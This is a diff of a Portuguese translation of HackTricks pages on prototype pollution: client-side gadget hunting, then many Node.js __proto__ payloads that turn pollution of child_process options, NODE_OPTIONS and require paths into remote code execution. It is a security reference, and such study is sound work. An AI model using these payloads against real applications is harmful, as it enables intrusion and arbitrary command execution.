Para bases de código maiores e mais complexas, um método direto para descobrir o código vulnerável envolve os seguintes passos:
|
Para bases de código maiores e mais complexas, um método direto para descobrir o código vulnerável envolve os seguintes passos:
|
||||||
|
|
||||||
|
@ -62,7 +64,7 @@ debugAccess(Object.prototype, 'ppmap')
|
||||||
```
|
```
|
||||||
4. Navegue de volta para a aba **Sources** e selecione "Resume script execution". O JavaScript continuará executando, e a propriedade 'ppmap' será poluída conforme o esperado. Utilizando o trecho fornecido facilita a identificação do local exato onde a propriedade 'ppmap' está sendo poluída. Ao examinar a **Call Stack**, diferentes pilhas onde a poluição ocorreu podem ser observadas.
|
4. Navegue de volta para a aba **Sources** e selecione "Resume script execution". O JavaScript continuará executando, e a propriedade 'ppmap' será poluída conforme o esperado. Utilizando o trecho fornecido facilita a identificação do local exato onde a propriedade 'ppmap' está sendo poluída. Ao examinar a **Call Stack**, diferentes pilhas onde a poluição ocorreu podem ser observadas.
|
||||||
|
|
||||||
Ao decidir qual pilha investigar, é frequentemente útil direcionar as pilhas associadas aos arquivos de biblioteca JavaScript, pois a poluição de protótipos ocorre com frequência dentro dessas bibliotecas. Identifique a pilha relevante examinando sua conexão com os arquivos de biblioteca (visíveis no lado direito, semelhante a uma imagem fornecida para orientação). Em cenários com várias pilhas, como aquelas nas linhas 4 e 6, a escolha lógica é a pilha na linha 4, pois representa a ocorrência inicial da poluição e, portanto, a causa raiz da vulnerabilidade. Clicar na pilha o direcionará para o código vulnerável.
|
Ao decidir qual pilha investigar, é frequentemente útil direcionar as pilhas associadas aos arquivos de biblioteca JavaScript, pois a poluição de protótipos ocorre com frequência dentro dessas bibliotecas. Identifique a pilha relevante examinando sua conexão com os arquivos de biblioteca (visíveis no lado direito, semelhante a uma imagem fornecida para orientação). Em cenários com múltiplas pilhas, como aquelas nas linhas 4 e 6, a escolha lógica é a pilha na linha 4, pois representa a ocorrência inicial da poluição e, portanto, a causa raiz da vulnerabilidade. Clicar na pilha o direcionará para o código vulnerável.
|
||||||
|
|
||||||
![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||||
|
|
||||||
|
@ -72,7 +74,7 @@ O gadget é o **código que será abusado uma vez que uma vulnerabilidade de PP
|
||||||
|
|
||||||
Se a aplicação for simples, podemos **procurar** por **palavras-chave** como **`srcdoc/innerHTML/iframe/createElement`** e revisar o código-fonte para verificar se **leva à execução de JavaScript**. Às vezes, as técnicas mencionadas podem não encontrar gadgets. Nesse caso, a revisão pura do código-fonte revela alguns gadgets interessantes, como no exemplo abaixo.
|
Se a aplicação for simples, podemos **procurar** por **palavras-chave** como **`srcdoc/innerHTML/iframe/createElement`** e revisar o código-fonte para verificar se **leva à execução de JavaScript**. Às vezes, as técnicas mencionadas podem não encontrar gadgets. Nesse caso, a revisão pura do código-fonte revela alguns gadgets interessantes, como no exemplo abaixo.
|
||||||
|
|
||||||
### Exemplo de Encontrar Gadget de PP no código da biblioteca Mithil
|
### Exemplo de Encontrar um Gadget de PP no código da biblioteca Mithil
|
||||||
|
|
||||||
Confira este artigo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
Confira este artigo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||||
|
|
||||||
|
@ -127,10 +129,10 @@ document.body.append(node);
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,22 +1,22 @@
|
||||||
# Prototype Pollution para RCE
|
# Poluição de Protótipo para RCE
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Código Vulnerável
|
## Código Vulnerável
|
||||||
|
|
||||||
Imagine um JS real usando algum código como o seguinte:
|
Imagine um código JS real usando algo como o seguinte:
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require('child_process');
|
const { execSync, fork } = require('child_process');
|
||||||
|
|
||||||
|
@ -51,9 +51,9 @@ var proc = fork('a_file.js');
|
||||||
```
|
```
|
||||||
## PP2RCE via variáveis de ambiente
|
## PP2RCE via variáveis de ambiente
|
||||||
|
|
||||||
**PP2RCE** significa **Prototype Pollution para RCE** (Execução Remota de Código).
|
**PP2RCE** significa **Prototype Pollution to RCE** (Execução Remota de Código).
|
||||||
|
|
||||||
De acordo com este [**relatório**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é iniciado** com algum método de **`child_process`** (como `fork`, `spawn` ou outros), ele chama o método `normalizeSpawnArguments`, que é um **gadget de prototype pollution para criar novas variáveis de ambiente**:
|
De acordo com este [**artigo**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é iniciado** com algum método de **`child_process`** (como `fork` ou `spawn` ou outros), ele chama o método `normalizeSpawnArguments` que é um **gadget de poluição de protótipo para criar novas variáveis de ambiente**:
|
||||||
```javascript
|
```javascript
|
||||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||||
|
|
||||||
|
@ -73,17 +73,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Verifique que no código você pode ver que é possível **envenenar `envPairs`** apenas **poluindo** o **atributo `.env`.**
|
Verifique esse código, você pode ver que é possível **envenenar `envPairs`** apenas **poluindo** o **atributo `.env`.**
|
||||||
|
|
||||||
### **Envenenando `__proto__`**
|
### **Envenenamento de `__proto__`**
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Observe que, devido ao funcionamento da função **`normalizeSpawnArguments`** da biblioteca **`child_process`** do node, quando algo é chamado para **definir uma nova variável de ambiente** para o processo, você só precisa **poluir qualquer coisa**.\
|
Observe que devido à forma como a função **`normalizeSpawnArguments`** da biblioteca **`child_process`** do node funciona, quando algo é chamado para **definir uma nova variável de ambiente** para o processo, você só precisa **poluir qualquer coisa**.\
|
||||||
Por exemplo, se você fizer `__proto__.avar="valuevar"`, o processo será iniciado com uma variável chamada `avar` com o valor `valuevar`.
|
Por exemplo, se você fizer `__proto__.avar="valuevar"`, o processo será iniciado com uma variável chamada `avar` com o valor `valuevar`.
|
||||||
|
|
||||||
No entanto, para que a **variável de ambiente seja a primeira**, você precisa **poluir** o **atributo `.env`** e (apenas em alguns métodos) essa variável será a **primeira** (permitindo o ataque).
|
No entanto, para que a **variável de ambiente seja a primeira**, você precisa **poluir** o **atributo `.env`** e (apenas em alguns métodos) essa variável será a **primeira** (permitindo o ataque).
|
||||||
|
|
||||||
É por isso que **`NODE_OPTIONS`** **não está dentro de `.env`** no ataque a seguir.
|
É por isso que **`NODE_OPTIONS`** não está dentro de `.env` no ataque a seguir.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -131,10 +131,10 @@ var proc = fork('a_file.js');
|
||||||
```
|
```
|
||||||
## PP2RCE via variáveis de ambiente + linha de comando
|
## PP2RCE via variáveis de ambiente + linha de comando
|
||||||
|
|
||||||
Um payload similar ao anterior com algumas alterações foi proposto em [**este artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
|
Uma carga útil semelhante à anterior com algumas alterações foi proposta neste [**artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
|
||||||
|
|
||||||
* Em vez de armazenar o **payload** do nodejs dentro do arquivo `/proc/self/environ`, ele armazena **dentro de argv0** de **`/proc/self/cmdline`**.
|
* Em vez de armazenar a **carga útil** do nodejs dentro do arquivo `/proc/self/environ`, ela a armazena dentro de **argv0** de **`/proc/self/cmdline`**.
|
||||||
* Então, em vez de requerer via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **requer `/proc/self/cmdline`**.
|
* Em seguida, em vez de exigir via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **exige `/proc/self/cmdline`**.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -160,9 +160,9 @@ var proc = fork('a_file.js');
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## Interação DNS
|
## Interação com DNS
|
||||||
|
|
||||||
Usando os seguintes payloads, é possível abusar da variável de ambiente NODE\_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação DNS:
|
Usando os payloads a seguir, é possível abusar da variável de ambiente NODE_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação com DNS:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
|
@ -172,7 +172,7 @@ Usando os seguintes payloads, é possível abusar da variável de ambiente NODE\
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ou, para evitar WAFs que solicitam o domínio:
|
Ou, para evitar que os WAFs solicitem o domínio:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
|
@ -182,15 +182,13 @@ Ou, para evitar WAFs que solicitam o domínio:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## Vulnerabilidade PP2RCE em funções do child_process
|
## Vulnerabilidade PP2RCE nas funções child\_process
|
||||||
|
|
||||||
Nesta seção, vamos analisar **cada função do `child_process`** para executar código e ver se podemos usar alguma técnica para forçar essa função a executar código:
|
Nesta seção, vamos analisar **cada função do `child_process`** para executar código e ver se podemos usar alguma técnica para forçar essa função a executar código:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>exec</code> exploração</summary>
|
<summary><code>exec</code> exploração</summary>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - not working
|
// environ trick - not working
|
||||||
// It's not possible to pollute the .env attr to create a first env var
|
// It's not possible to pollute the .env attr to create a first env var
|
||||||
|
@ -215,10 +213,6 @@ p = {}
|
||||||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
var proc = exec('something');
|
var proc = exec('something');
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>execFile</code> exploração</strong></summary>
|
<summary><strong><code>execFile</code> exploração</strong></summary>
|
||||||
|
@ -240,16 +234,16 @@ var proc = execFile('/usr/bin/node');
|
||||||
|
|
||||||
// Windows - not working
|
// Windows - not working
|
||||||
```
|
```
|
||||||
Para o **`execFile`** funcionar, ele **DEVE executar o node** para que as NODE\_OPTIONS funcionem.\
|
Para que o **`execFile`** funcione, ele **DEVE executar o node** para que as NODE\_OPTIONS funcionem.\
|
||||||
Se **não** estiver executando o **node**, você precisa encontrar como pode **alterar a execução** do que quer que esteja executando **com variáveis de ambiente** e configurá-las.
|
Se **não** estiver executando o **node**, você precisa descobrir como **alterar a execução** do que está sendo executado **com variáveis de ambiente** e defini-las.
|
||||||
|
|
||||||
As **outras** técnicas **funcionam** sem essa exigência porque é **possível modificar** **o que é executado** via poluição de protótipo. (Neste caso, mesmo que você consiga poluir `.shell`, você não vai poluir o que está sendo executado).
|
As **outras** técnicas **funcionam** sem esse requisito porque é **possível modificar** **o que é executado** via poluição de protótipos. (Neste caso, mesmo que você consiga poluir `.shell`, você não poluirá o que está sendo executado).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>fork</code> exploração</summary>
|
<summary>Exploração de <code>fork</code></summary>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -289,15 +283,11 @@ b = {}
|
||||||
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
var proc = fork('./a_file.js');
|
var proc = fork('./a_file.js');
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>spawn</code> exploração</strong></summary>
|
<summary><strong><code>spawn</code> exploração</strong></summary>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - working with small variation (shell and argv0)
|
// environ trick - working with small variation (shell and argv0)
|
||||||
// NOT working after kEmptyObject (fix) without options
|
// NOT working after kEmptyObject (fix) without options
|
||||||
|
@ -334,15 +324,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
var proc = spawn('something');
|
var proc = spawn('something');
|
||||||
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>execFileSync</code> exploração</strong></summary>
|
<summary><strong><code>execFileSync</code> exploração</strong></summary>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - working with small variation (shell and argv0)
|
// environ trick - working with small variation (shell and argv0)
|
||||||
// Working after kEmptyObject (fix)
|
// Working after kEmptyObject (fix)
|
||||||
|
@ -381,15 +367,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
var proc = execSync('something');
|
var proc = execSync('something');
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>execSync</code> exploração</strong></summary>
|
<summary><strong><code>execSync</code> exploração</strong></summary>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - working with small variation (shell and argv0)
|
// environ trick - working with small variation (shell and argv0)
|
||||||
// Working after kEmptyObject (fix)
|
// Working after kEmptyObject (fix)
|
||||||
|
@ -427,15 +409,11 @@ p = {}
|
||||||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
var proc = execSync('something');
|
var proc = execSync('something');
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>spawnSync</code> exploração</strong></summary>
|
<summary><strong><code>spawnSync</code> exploração</strong></summary>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - working with small variation (shell and argv0)
|
// environ trick - working with small variation (shell and argv0)
|
||||||
// NOT working after kEmptyObject (fix) without options
|
// NOT working after kEmptyObject (fix) without options
|
||||||
|
@ -485,18 +463,18 @@ var proc = spawnSync('something');
|
||||||
|
|
||||||
## Forçando Spawn
|
## Forçando Spawn
|
||||||
|
|
||||||
Nos exemplos anteriores, você viu como acionar o gadget quando uma funcionalidade que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo o chamam). No exemplo anterior, isso era **parte do código**, mas e se o código **não** estiver chamando?
|
Nos exemplos anteriores, você viu como acionar a funcionalidade de um gadget que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo o chamam). No exemplo anterior, isso fazia **parte do código**, mas e se o código **não** estiver chamando isso.
|
||||||
|
|
||||||
### Controlando o caminho de um arquivo require
|
### Controlando um caminho de arquivo require
|
||||||
|
|
||||||
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` no sistema** que **execute um método spawn quando importado.**\
|
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` dentro do sistema** que irá **executar um método spawn quando importado.**\
|
||||||
Alguns exemplos de arquivos comuns que chamam uma função spawn quando importados são:
|
Alguns exemplos de arquivos comuns que chamam uma função spawn ao serem importados são:
|
||||||
|
|
||||||
* /path/to/npm/scripts/changelog.js
|
* /caminho/para/npm/scripts/changelog.js
|
||||||
* /opt/yarn-v1.22.19/preinstall.js
|
* /opt/yarn-v1.22.19/preinstall.js
|
||||||
* Encontre **mais arquivos abaixo**
|
* Encontre **mais arquivos abaixo**
|
||||||
|
|
||||||
O seguinte script simples buscará por **chamadas** de **child\_process** **sem qualquer preenchimento** (para evitar mostrar chamadas dentro de funções):
|
O seguinte script simples irá procurar por **chamadas** de **child\_process** **sem nenhum preenchimento** (para evitar mostrar chamadas dentro de funções):
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -523,24 +501,24 @@ done
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Configurando o caminho do arquivo require via prototype pollution
|
### Definindo o caminho do arquivo requerido via poluição de protótipo
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que vai ser **required**. Mas isso nem sempre é verdade.
|
A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que será **requerido**. Mas isso nem sempre é verdade.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
No entanto, se o código for executar um require após o prototype pollution, mesmo que você **não controle o caminho** que vai ser required, você **pode forçar um diferente abusando do prototype pollution**. Então, mesmo que a linha de código seja como `require("./a_file.js")` ou `require("bytes")`, ele vai **require o pacote que você poluiu**.
|
No entanto, se o código for executar um require após a poluição de protótipo, mesmo que você **não controle o caminho** que será requerido, você **pode forçar um diferente abusando da poluição de protótipo**. Portanto, mesmo que a linha de código seja `require("./a_file.js")` ou `require("bytes")`, ele **requererá o pacote que você poluiu**.
|
||||||
|
|
||||||
Portanto, se um require for executado após o seu prototype pollution e nenhuma função spawn, este é o ataque:
|
Portanto, se um require for executado após a sua poluição de protótipo e não houver uma função de execução de spawn, este é o ataque:
|
||||||
|
|
||||||
* Encontre um arquivo **`.js` dentro do sistema** que, quando **required**, vai **executar algo usando `child_process`**
|
* Encontre um **arquivo `.js` dentro do sistema** que, quando **requerido**, irá **executar algo usando `child_process`**
|
||||||
* Se você pode fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
|
* Se você puder fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
|
||||||
* Polua os caminhos para **forçar o carregamento do arquivo `.js`** que vai executar algo com child\_process
|
* Polua os caminhos para **forçar o carregamento do arquivo `.js`** que irá executar algo com child\_process
|
||||||
* **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução child\_process for chamada (veja as técnicas iniciais)
|
* **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução de child\_process é chamada (veja as técnicas iniciais)
|
||||||
|
|
||||||
#### Require absoluto
|
#### Require absoluto
|
||||||
|
|
||||||
Se o require executado for **absoluto** (`require("bytes")`) e o **pacote não contiver main** no arquivo `package.json`, você pode **poluir o atributo `main`** e fazer o **require executar um arquivo diferente**.
|
Se o require realizado for **absoluto** (`require("bytes")`) e o **pacote não contiver main** no arquivo `package.json`, você pode **poluir o atributo `main`** e fazer o **require executar um arquivo diferente**.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="exploit" %}
|
{% tab title="exploit" %}
|
||||||
|
@ -582,7 +560,7 @@ fork("anything");
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
#### Relative require - 1
|
#### Requerimento relativo - 1
|
||||||
|
|
||||||
Se um **caminho relativo** for carregado em vez de um caminho absoluto, você pode fazer o node **carregar um caminho diferente**:
|
Se um **caminho relativo** for carregado em vez de um caminho absoluto, você pode fazer o node **carregar um caminho diferente**:
|
||||||
|
|
||||||
|
@ -624,11 +602,10 @@ fork('/path/to/anything');
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
#### Requisição relativa - 2
|
#### Requerimento relativo - 2
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="exploit" %}
|
{% tab title="exploit" %}
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
// Contents of malicious.js in the other tab
|
// Contents of malicious.js in the other tab
|
||||||
|
@ -666,9 +643,9 @@ fork('/path/to/anything');
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
#### Relative require - 3
|
#### Requerimento relativo - 3
|
||||||
|
|
||||||
Semelhante ao anterior, este foi encontrado em [**este writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
Semelhante ao anterior, este foi encontrado neste [**artigo**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||||
```javascript
|
```javascript
|
||||||
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
||||||
Object.prototype["data"] = {
|
Object.prototype["data"] = {
|
||||||
|
@ -687,21 +664,21 @@ Object.prototype.env = {
|
||||||
|
|
||||||
require('./usage.js')
|
require('./usage.js')
|
||||||
```
|
```
|
||||||
## VM Gadgets
|
## Dispositivos VM
|
||||||
|
|
||||||
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) também é indicado que o controle de **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um gadget.\
|
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) também é indicado que o controle do **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um dispositivo.\
|
||||||
No entanto, como os métodos anteriores de **`child_process`**, isso foi **corrigido** nas últimas versões.
|
No entanto, assim como os métodos anteriores de **`child_process`**, isso foi **corrigido** nas versões mais recentes.
|
||||||
|
|
||||||
## Correções & Proteções Inesperadas
|
## Correções e Proteções Inesperadas
|
||||||
|
|
||||||
Por favor, note que a poluição de protótipo funciona se o **atributo** de um objeto que está sendo acessado for **indefinido**. Se no **código** esse **atributo** for **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
|
Por favor, note que a poluição de protótipos funciona se o **atributo** de um objeto que está sendo acessado for **indefinido**. Se no **código** esse **atributo** for **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
|
||||||
|
|
||||||
Em junho de 2022 a partir [**deste commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) a variável `options` em vez de um `{}` é um **`kEmptyObject`**. O que **impede a poluição de protótipo** de afetar os **atributos** de **`options`** para obter RCE.\
|
Em junho de 2022, a partir [**deste commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), a variável `options` em vez de `{}` é um **`kEmptyObject`**. Isso **impede a poluição de protótipos** de afetar os **atributos** de **`options`** para obter RCE.\
|
||||||
Pelo menos a partir da v18.4.0 essa proteção foi **implementada**, e portanto os **exploits** de `spawn` e `spawnSync` afetando os métodos **não funcionam mais** (se nenhuma `options` for usada!).
|
Pelo menos a partir da v18.4.0, essa proteção foi **implementada**, e portanto os **exploits** `spawn` e `spawnSync` que afetam os métodos **não funcionam mais** (se nenhum `options` for usado!).
|
||||||
|
|
||||||
No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) a **poluição de protótipo** de **`contextExtensions`** da biblioteca vm foi **também meio que corrigida** definindo options para **`kEmptyObject`** em vez de **`{}`.**
|
